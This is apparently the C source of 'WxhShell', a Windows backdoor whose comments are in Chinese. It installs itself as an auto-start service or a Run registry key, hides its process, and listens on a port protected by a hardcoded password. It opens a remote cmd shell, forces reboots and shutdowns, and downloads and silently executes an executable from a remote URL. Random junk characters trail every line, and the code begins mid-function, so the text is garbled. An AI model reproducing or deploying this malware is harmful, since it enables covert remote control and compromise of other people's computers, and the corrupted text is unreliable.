    ExitThread(0); f/;\/Q[Z7  
    } q qzQKN  
    break; : 6>H\  
    } HB`pK'gz  
  // 关机 v[a#>!;s  
  case 'd': { 2 J4|7UwJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;mi0Q.  
    if(Boot(SHUTDOWN)) _;B!6cRLps  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fr#lH3  
    else { `8dE8:# Y  
    closesocket(wsh); Xp} vJl   
    ExitThread(0); ~#a1]w  
    } f6L_u k`{  
    break; M@'V4oUz  
    } %&_(IY$d  
  // 获取shell ($S{td;  
  case 's': { <Z m ,q}  
    CmdShell(wsh); gv[7h'}<  
    closesocket(wsh); rIb[gm)Rk  
    ExitThread(0); (FjgnsW  
    break; u\e#_*>  
  } j^%i?BWw  
  // 退出 btOTDqG`a  
  case 'x': { .v" lY2:N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rd,mbH[<C  
    CloseIt(wsh); uPF yRWK  
    break; u4<r$[]V  
    } T![K i  
  // 离开 .897Z|$VB  
  case 'q': { 2 !;4mij,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YQ]H3GA  
    closesocket(wsh); y{<#pS.  
    WSACleanup(); 3-mw-;.  
    exit(1); +1)C&:  
    break; 9>i6oF]Oq  
        } L\Jl'r|  
  } Pm1 " 0  
  } @Qs-A^.  
1=;QWb6  
  // 提示信息 m|]^f;7z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =O;SXzgE  
} (j~V  
  } 'd t}i<  
Y;&#Ur8q  
  return; M)J*Df0@  
} ^X&9"x)4  
*[SsvlFt  
// shell模块句柄 H*\[:tPa  
int CmdShell(SOCKET sock) .d "+M{I  
{ oX}n"5o:  
STARTUPINFO si; R{[Q+y'E  
ZeroMemory(&si,sizeof(si)); "T&uS1+=c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; + kF[Oh#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P+b^;+\1s  
PROCESS_INFORMATION ProcessInfo; Oq2H>eW`f  
char cmdline[]="cmd"; Iv<9} )2K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z;/'OJ[.  
  return 0; *SY4lqN  
} 'u3+k.  
U2AGH2emw  
// 自身启动模式 vLS9V/o  
int StartFromService(void) !X8UP{J)L  
{ o(``7A@7a  
typedef struct <dN=d3S  
{ iCK$ o_`?  
  DWORD ExitStatus; O5{XT]:  
  DWORD PebBaseAddress; u.[JYZ  
  DWORD AffinityMask; V1:3  
  DWORD BasePriority; ]T51;j'48  
  ULONG UniqueProcessId; |f:d72{Qr  
  ULONG InheritedFromUniqueProcessId; q8h{-^"  
}   PROCESS_BASIC_INFORMATION; Qwa"AY 5pW  
?8,N4T0)  
PROCNTQSIP NtQueryInformationProcess; +wUhB\F *  
Dgm%Ng  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !p&'so^-W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "<2b jy  
{T.Vu]L80  
  HANDLE             hProcess; ->hxHr`!%a  
  PROCESS_BASIC_INFORMATION pbi; m6x. "jG  
Yy)a,clZ*$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `_'Dj>  
  if(NULL == hInst ) return 0; 3kQ^f=Wd  
>slN:dr0:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (RmED\.]4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8e@JvAaa$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  7q:bBS  
5lxq-E3  
  if (!NtQueryInformationProcess) return 0; z{g<y^Im+E  
I7PWO d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5tU"|10m3  
  if(!hProcess) return 0; 5)zB/Ta<  
`fkri k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %'T>kz*A  
@L!#i*> 9  
  CloseHandle(hProcess); W[>TqT63  
sOxdq"E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]2%P``Yj  
if(hProcess==NULL) return 0; \r%Vgne-g  
VQ?H:1R  
HMODULE hMod; x#0@ $  
char procName[255]; 4)iEj  
unsigned long cbNeeded; ++!E9GU{  
'TrrOq4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G r|@CZq  
I=%sDn  
  CloseHandle(hProcess); 4@e!D Du  
E@jl: -*E  
if(strstr(procName,"services")) return 1; // 以服务启动  DiQkT R  
 GQ0(&I  
  return 0; // 注册表启动 W79A4l<  
} c '+r[rSn1  
_*$B|%k   
// 主模块 ba9<(0`  
int StartWxhshell(LPSTR lpCmdLine) 1ysLZ;K  
{ ]XG n2U\  
  SOCKET wsl; 9BD|uU;0  
BOOL val=TRUE; m90R8  V  
  int port=0; .XKvk(9  
  struct sockaddr_in door; V&oT':%q  
TcLaWf!c5  
  if(wscfg.ws_autoins) Install(); H8BO*8}  
e6i./bf3  
port=atoi(lpCmdLine); y}-S~Ov>I  
.(1j!B4^  
if(port<=0) port=wscfg.ws_port; 0^&R7Rv c  
e~s7ggg2k  
  WSADATA data; E9d i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UVCMB_T  
01c/;B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X_({};mz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <SM&VOiaOz  
  door.sin_family = AF_INET; Mr NOcx&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lMzCDx !m  
  door.sin_port = htons(port);  .02(O  
=@KYA(D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { FJ%R3N\  
closesocket(wsl); #or oY.o  
return 1; (bFWT_CChz  
} i)=89?8  
7x7r!rSe,  
  if(listen(wsl,2) == INVALID_SOCKET) { txfwLqx  
closesocket(wsl); Pv-V7`{  
return 1; :y-0qz D?  
} mERZ_[a2  
  Wxhshell(wsl); _ K+V?-=  
  WSACleanup(); A[ECa{ v  
2V2x,!  
return 0; UE,~_hp  
%cr]ZR  
} PDq}Tq  
8P<UO  
// 以NT服务方式启动 T3t~=b>&L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ul713Bjz  
{ {8Jk=)(md  
DWORD   status = 0; <#p|z`N  
  DWORD   specificError = 0xfffffff; h [|zs>p  
dI ZTLb"a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C3 b0`|5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mf]( 3ZL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X\^& nLa  
  serviceStatus.dwWin32ExitCode     = 0; svq9@!go  
  serviceStatus.dwServiceSpecificExitCode = 0; t2 -nCRXEP  
  serviceStatus.dwCheckPoint       = 0; k`7.p,;}U  
  serviceStatus.dwWaitHint       = 0; zUEfa!#?  
4=F]`Lql  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %AEK[W+0  
  if (hServiceStatusHandle==0) return; KB,~u*~!  
@Uj _+c q  
status = GetLastError(); t1:S!@  
  if (status!=NO_ERROR) 4'{hI;&a&  
{ 3^A/`8R7K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,F?~'-K  
    serviceStatus.dwCheckPoint       = 0; i9@;,4f  
    serviceStatus.dwWaitHint       = 0; b?2X>QJ  
    serviceStatus.dwWin32ExitCode     = status; {c\oOM<7  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]~ #+ b>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `^&15?Wk  
    return; Bsu=^z  
  } bDZKQ&  
2 -p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bco[L@6G$  
  serviceStatus.dwCheckPoint       = 0; y800(z  
  serviceStatus.dwWaitHint       = 0; nT@6g|!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 43u PH1 )  
} -l40)^ E}  
dp UdFuU"  
// 处理NT服务事件,比如:启动、停止 LA;V}%y ?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~^%0V<*-}  
{ K?FX<PT  
switch(fdwControl) [aWDD[#j~  
{ 5&-j{J0iV  
case SERVICE_CONTROL_STOP: ||'i\X|[  
  serviceStatus.dwWin32ExitCode = 0; TJyH/ C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nqurY62Ip  
  serviceStatus.dwCheckPoint   = 0; \2].|Mym  
  serviceStatus.dwWaitHint     = 0; N o_$!)J.  
  { ~`~%(DA=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z)ft3(!  
  } (DG@<K,6  
  return; ebO`A2V'(  
case SERVICE_CONTROL_PAUSE: rF8W(E_=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }1a<{&  
  break; ?`N57'iPb  
case SERVICE_CONTROL_CONTINUE: <=)D=Ax/_[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3XApY'  
  break; \tiUE E|k  
case SERVICE_CONTROL_INTERROGATE: g:uvoMUD  
  break; WbC0H78]  
}; 9zoT6QP4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -TK|Y"  
} P|e:+G7  
rR,+G%[(=4  
// 标准应用程序主函数 F=-uDtQ <N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .Ca"$2  
{ WA]%,6  
:Wyn+  
// 获取操作系统版本 P0'e"\$  
OsIsNt=GetOsVer(); `N|U"s;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); nJtEUVMt  
7x[LF ^o  
  // 从命令行安装 IFd )OZ5  
  if(strpbrk(lpCmdLine,"iI")) Install(); Xq8uY/j  
 !fQJL   
  // 下载执行文件 "<PoJPh  
if(wscfg.ws_downexe) { [):{5hMA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 97qtJ(ESI  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5"-una>D  
} 9*}iBs  
&\J?[>EJ.  
if(!OsIsNt) { V-D}U$fw  
// 如果时win9x,隐藏进程并且设置为注册表启动 i ll-%OPeg  
HideProc(); {h/OnBwG  
StartWxhshell(lpCmdLine); %XEKhy  
} 0`VD!_`  
else !G)mjvEe  
  if(StartFromService()) /~o7Q$)-b  
  // 以服务方式启动 "*Lj8C3|n  
  StartServiceCtrlDispatcher(DispatchTable); 8 3z'#  
else :X'*8,]KHH  
  // 普通方式启动 z +3<$Z  
  StartWxhshell(lpCmdLine); LJRg>8  
5y1or  
return 0; kq)+@p  
} 1s{ISWm  
D~G5]M,}$  
]}mly` Fw  
d\~p5_5.  
=========================================== :r1;}hIA9  
U}tl_5%)  
x4CtSGG85f  
*'UhlFed  
0K=Qf69Y  
CCbkxHMf|!  
" W4)kkJ  
0Y2\n-`z  
#include <stdio.h> g\ErJ+i  
#include <string.h> XIr{U5$<6  
#include <windows.h> 5SoZ$,a<e  
#include <winsock2.h> |ZvNH ~!  
#include <winsvc.h> Uj4Lu  
#include <urlmon.h> u~$WH, P3  
:y=!{J<  
#pragma comment (lib, "Ws2_32.lib") 5h_<R!jA  
#pragma comment (lib, "urlmon.lib") >;&Gz-lm  
j y7  
#define MAX_USER   100 // 最大客户端连接数 `^v4zWDK  
#define BUF_SOCK   200 // sock buffer S304ncS|M  
#define KEY_BUFF   255 // 输入 buffer u9TzZ  
HG2N-<$  
#define REBOOT     0   // 重启 -'I _*fu  
#define SHUTDOWN   1   // 关机 M (+.$uz  
o .l;: Un  
#define DEF_PORT   5000 // 监听端口 p]wP36<S!  
uz]E_&2  
#define REG_LEN     16   // 注册表键长度 :|Z$3q  
#define SVC_LEN     80   // NT服务名长度 . _1jk  
g d z  
// 从dll定义API aRbx   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k1wCa^*gc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "e~k-\^Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S3SV.C:z>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'I&|1I^  
,`;jvY~Ec  
// wxhshell配置信息 RS'} nY}  
struct WSCFG { HR;/Br  
  int ws_port;         // 监听端口 uA~YRKer  
  char ws_passstr[REG_LEN]; // 口令 D+f'*|  
  int ws_autoins;       // 安装标记, 1=yes 0=no "kX`FaAhY  
  char ws_regname[REG_LEN]; // 注册表键名 G7 1U7  
  char ws_svcname[REG_LEN]; // 服务名 sa_R$ /H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N*~_\x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >Y}7[XK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UQ5BH%EPb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C1V# ?03eI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !tI=`Ml[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3DH.4@7P  
8O;Vl  
}; 0eFb?Z0]  
GP* +  
// default Wxhshell configuration BEln6zj  
struct WSCFG wscfg={DEF_PORT, 9u?(^(.  
    "xuhuanlingzhe", L59bu/LfL  
    1, ,!`SY)  
    "Wxhshell", XdcG0D^  
    "Wxhshell", 9ftN8Svw  
            "WxhShell Service", ]$3+[9x'  
    "Wrsky Windows CmdShell Service", mV<i JZh  
    "Please Input Your Password: ", CoJ55TAW  
  1,  2A*/C7  
  "http://www.wrsky.com/wxhshell.exe", G-arnu)  
  "Wxhshell.exe" (B&h;U$HAH  
    }; $'^&\U~?  
Y[Es  
// 消息定义模块 ~uB'3`x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DR6]-j!FK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qh-[L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Qu`n&  
char *msg_ws_ext="\n\rExit."; tVunh3-  
char *msg_ws_end="\n\rQuit."; :y\09)CJK  
char *msg_ws_boot="\n\rReboot..."; S."7+g7Ar  
char *msg_ws_poff="\n\rShutdown..."; I0DM=V>;  
char *msg_ws_down="\n\rSave to "; ` K w7"  
Y~az!8j;Z  
char *msg_ws_err="\n\rErr!"; kBbl+1{H  
char *msg_ws_ok="\n\rOK!"; z!:'V]  
y?>#t^  
char ExeFile[MAX_PATH]; 27>a#vCT  
int nUser = 0; =N_,l'U\^  
HANDLE handles[MAX_USER]; ob'n{T+lZ  
int OsIsNt; *xcP`  
;W0]66&  
SERVICE_STATUS       serviceStatus; \OcMiuw  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H>?F8R_iq  
_S"f_W  
// 函数声明 Y;,Hzmbs6w  
int Install(void); l)Zs-V!M^\  
int Uninstall(void); NY@"&p'Q  
int DownloadFile(char *sURL, SOCKET wsh); a}>Dz 1R  
int Boot(int flag); `@|w>8bMz{  
void HideProc(void); #XI"@pD  
int GetOsVer(void); hq?jdNy :  
int Wxhshell(SOCKET wsl); g]|_ `  
void TalkWithClient(void *cs); @rO4y`  
int CmdShell(SOCKET sock); $M':&i5`,  
int StartFromService(void); &8sV o@Pa  
int StartWxhshell(LPSTR lpCmdLine); k(vPg,X>m  
Zm(dY*z5:J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L,~MicgV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^uW%v2  
uUG*0Lj  
// 数据结构和表定义 !9r:&n.\  
SERVICE_TABLE_ENTRY DispatchTable[] = 4 \p -TPM  
{ aX^+ O,  
{wscfg.ws_svcname, NTServiceMain}, zE`R,:VI  
{NULL, NULL} ;xK_qBIP  
}; /)9W1U^B  
,)h)5o(?  
// 自我安装 :Q_x/+-  
int Install(void) {B0h+. C  
{ JRO$<  
  char svExeFile[MAX_PATH]; pUCK-rL  
  HKEY key; ( KTnJZ  
  strcpy(svExeFile,ExeFile); 5h8o4  
-(>qu.[8=  
// 如果是win9x系统,修改注册表设为自启动 xhw-2dl*H  
if(!OsIsNt) { ?z/Vgk+9|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iePf ]O*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y-p<qL|_  
  RegCloseKey(key); sG,+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "&lN\&:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G#[* |+f8  
  RegCloseKey(key); ? _ <[T  
  return 0; kIvvEh<L=  
    } M)!skU   
  } *7" L]6  
} '{ f=hE_/  
else { '#Dg8/r!  
A+ 0,i  
// 如果是NT以上系统,安装为系统服务 ],lV}Mlg*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V5"HwN+`  
if (schSCManager!=0) LdTdQ,s<  
{ wAYB RY[  
  SC_HANDLE schService = CreateService C+%K6/J(  
  ( lIf(6nm@  
  schSCManager, |}[nH>  
  wscfg.ws_svcname, |dmh  
  wscfg.ws_svcdisp, v27Ja .tA  
  SERVICE_ALL_ACCESS, 7@~tVxB;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R1ktj  
  SERVICE_AUTO_START, fS A)G$b]  
  SERVICE_ERROR_NORMAL, I,O#X)O|i  
  svExeFile, /#S>sOg2xq  
  NULL, PlCc8Zy  
  NULL, 2~c~{ jl\  
  NULL, ?Zz'|.l@  
  NULL, [@"wd_f{l  
  NULL cxP6-tV%  
  ); c ~F dx  
  if (schService!=0) naNyGE7)  
  { N[U9d}Zv  
  CloseServiceHandle(schService); >dQK.CG  
  CloseServiceHandle(schSCManager); Bct"X#W|&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SH8/0g?  
  strcat(svExeFile,wscfg.ws_svcname); ^J x$t/t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { XnUO*v^]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `v nJ4*  
  RegCloseKey(key); wW`}VKu  
  return 0; D>sYPrf  
    } V"RpH,  
  } oRq!=eUu_  
  CloseServiceHandle(schSCManager); |L:Cn J  
} zAScRg$:?  
} >V;,#5F_  
Ya Y8 `M{  
return 1; {CUk1+  
} l1+[  
$.K?N@(W  
// 自我卸载 Cg!^S(U4  
int Uninstall(void) or_+2aG  
{ <@, $hso7:  
  HKEY key; HGDV O Jq  
>SCGK_Cr2  
if(!OsIsNt) { ?tYpc_p#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :w-`PY J%G  
  RegDeleteValue(key,wscfg.ws_regname); Jb(Y,LO^  
  RegCloseKey(key); #y; yN7W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { smU4jh9S  
  RegDeleteValue(key,wscfg.ws_regname); $v27]"]  
  RegCloseKey(key); 3/goCg  
  return 0; >+9JD%]x]  
  } d"T Ht}  
} Q9>U1]\  
} J7&DR^.Sw  
else { Fhj8lVvk  
[}o~PN:sT(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k%Vv?{g  
if (schSCManager!=0) H\G{3.T.9  
{ jqcz\n d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); GJQc!cqk  
  if (schService!=0) Yx)o:#2  
  { ;vp\YIeX1  
  if(DeleteService(schService)!=0) { SUdm 0y  
  CloseServiceHandle(schService); >Da~Q WW|  
  CloseServiceHandle(schSCManager); XutF"9u  
  return 0; w|Aqqe  
  } uJow7-FD  
  CloseServiceHandle(schService); m],Ud\  
  } %XRN]tsu  
  CloseServiceHandle(schSCManager); YD[H  
} pSAR/':eg  
} HW_& !ye  
aXR%;]<Dw  
return 1; t[C1z  
} d'HOpJE  
d53 L65[  
// 从指定url下载文件 4%ZM:/  
int DownloadFile(char *sURL, SOCKET wsh) 5cfA;(H  
{ ,4@|1z{bfm  
  HRESULT hr; XGs^rIf  
char seps[]= "/"; &Cro2|KZhG  
char *token; zg}YGu|J  
char *file; 6Wf^0ok  
char myURL[MAX_PATH]; zV.pol  
char myFILE[MAX_PATH]; Tz-X o  
cCdX0@hY  
strcpy(myURL,sURL); 2qj{n+  
  token=strtok(myURL,seps); V[hK2rVH.  
  while(token!=NULL) VcgBLkIF  
  { m *X7T  
    file=token; -l*g~7|j  
  token=strtok(NULL,seps); Fi;VDK(V9  
  } ^Udv]Wh  
?&c:q3_-Z  
GetCurrentDirectory(MAX_PATH,myFILE); 1;r69e  
strcat(myFILE, "\\"); d#_m.j  
strcat(myFILE, file); Vb4;-?s_  
  send(wsh,myFILE,strlen(myFILE),0); Tj/GClD:%  
send(wsh,"...",3,0); ;!u;!F!i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Kn}ub+ "J  
  if(hr==S_OK) M'5 'O;kn  
return 0; :Ml7G  
else l?E|R Kp  
return 1; 9%DT0.D}$j  
Np,2j KF(  
} =,/D/v$m'2  
xAdq+$><  
// 系统电源模块 1Ix3i9  
int Boot(int flag) %FA@)?~  
{ t9 F=^)s  
  HANDLE hToken; yp]@^TN  
  TOKEN_PRIVILEGES tkp; .b>TK  
tL(BpL'  
  if(OsIsNt) { T1 MY X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SgM.B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F:T GsV#  
    tkp.PrivilegeCount = 1; }DIF%}UK\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =_d%=m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]H[8Z|i""  
if(flag==REBOOT) { /9hR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k onoI&kV|  
  return 0; .{so  
} Dn;p4T@  
else { >P(`MSc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) FjKq%.=#  
  return 0; (xT*LF+  
} VXKT\9g3A  
  } Re[ :qLa]  
  else { Q:o 7G|C  
if(flag==REBOOT) { c@du2ICUc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bXdY\&fE  
  return 0; Y E1Hpeb  
} 3Sh+u>w  
else { SI-X[xf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eBcJm  
  return 0; l5O=VqCj  
} o /p-!  
} FC>d_=V  
#g v4  
return 1; {NQo S"  
} ?pwE0N^  
?0vNEz[  
// win9x进程隐藏模块 AU{:;%.g  
void HideProc(void) - q@69q  
{ 8;zDg$ (  
SG'JE}jzO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); AK/:I>M  
  if ( hKernel != NULL ) wK*PD&nN  
  { ]0 ~qi@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v\A.Tyy  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R@`rT*lJ  
    FreeLibrary(hKernel); =_-C%<4  
  } :pZ}*?\  
&8?`<   
return; Spj9H?m  
} kQIw/@WC  
IN!02`H  
// 获取操作系统版本 =*MR(b>  
int GetOsVer(void) vr IV%l=  
{ 2*OxA%QELM  
  OSVERSIONINFO winfo; Z^_>A)<s<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ft-6m%  
  GetVersionEx(&winfo); x)viY5vjH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k0ItG?Cv  
  return 1; '2v f|CX  
  else !v>ew9  
  return 0; dgc&[  
} T33|';k  
!nw [  
// 客户端句柄模块 YoSQN/Z  
int Wxhshell(SOCKET wsl) @ss):FwA  
{ +R\~3uj[7  
  SOCKET wsh; o)I/P<  
  struct sockaddr_in client; nNR:cG fG  
  DWORD myID; 3M N  
8hB.fau  
  while(nUser<MAX_USER) 80&D""  
{ "$)yB  
  int nSize=sizeof(client); lB:l)!]||=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y5%;p33uFG  
  if(wsh==INVALID_SOCKET) return 1; *cNk>y  
"c Pz|~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QJXdb]Y^;  
if(handles[nUser]==0) 8/q*o>[?  
  closesocket(wsh); Rx S884  
else 4iBxPo(0  
  nUser++; UrK"u{G  
  } aN'0} <s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O/9fuEF  
FfYsSq2l  
  return 0; +by|  
} *l!5QG UoK  
8=4^Lm  
// 关闭 socket fM:80bn L+  
void CloseIt(SOCKET wsh) ETelbj;0  
{ ^5x4q  
closesocket(wsh); n\>.T[$"  
nUser--; 2"M_sL  
ExitThread(0); .^H1\p];Lw  
} @ ;J|xkJ  
'j#a%j@{  
// 客户端请求句柄 \+]O*Bm&`8  
void TalkWithClient(void *cs) b|wWHNEdb,  
{ o* _g$  
vKkf2 7  
  SOCKET wsh=(SOCKET)cs; :?#cDyW)  
  char pwd[SVC_LEN]; 0O; Z  
  char cmd[KEY_BUFF];  N|N/)  
char chr[1]; .v l="<  
int i,j; p JX, n  
v=MzI#0L  
  while (nUser < MAX_USER) { i tW~d  
4vGbG:x  
if(wscfg.ws_passstr) { 8A_TIyh?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); llqDT-cp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Tw}z7U"  
  //ZeroMemory(pwd,KEY_BUFF); q]l\`/R%u  
      i=0; 0 r3N^_}  
  while(i<SVC_LEN) { 8;.` {'r  
g TD%4V  
  // 设置超时 buc*rtHfA  
  fd_set FdRead; |wJ),h8/  
  struct timeval TimeOut; i ~P91  
  FD_ZERO(&FdRead); cJV!> 0ua  
  FD_SET(wsh,&FdRead); 44|03Ty  
  TimeOut.tv_sec=8; 6\mC$:F  
  TimeOut.tv_usec=0; 2w7@u/OC'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9BurjG1k?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); KM@`YV_"g  
J{x##p<F$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cuNq9y;[  
  pwd=chr[0]; >rRjm+vg  
  if(chr[0]==0xd || chr[0]==0xa) { )#mW7m9M#  
  pwd=0; !$XO U'n  
  break; G`WzJS*}v  
  } >oB ?  
  i++; yEnKUo[  
    } 2}@*Ki7  
KK .cDAR  
  // 如果是非法用户,关闭 socket s9kTuhoK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `|NevpXY1  
} "mG!L$  
z22N7W=7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X)Ocn`|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~Gwas0e Na  
rcW#6VZ=  
while(1) { .Btv}b  
"rf\' 9=  
  ZeroMemory(cmd,KEY_BUFF); GMyoSe%1/  
{AtfK>D  
      // 自动支持客户端 telnet标准   @US '{hO1p  
  j=0; ~.!?5(AH8z  
  while(j<KEY_BUFF) { /$<JCNGv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +Hi{ /{k0N  
  cmd[j]=chr[0]; uk1v7# p  
  if(chr[0]==0xa || chr[0]==0xd) { " gwm23Rpj  
  cmd[j]=0; 0sY#MHPT&  
  break; P[6dTZ!\s  
  } 0L 7@2|a0  
  j++; 0n7HkDo  
    } ^M"HSewo  
b^;N>zx  
  // 下载文件 F BE @pd  
  if(strstr(cmd,"http://")) { ?|gGsm+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); WMRYT"J?N]  
  if(DownloadFile(cmd,wsh)) |)*m[_1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); YDdLDE  
  else JO]`LF]  
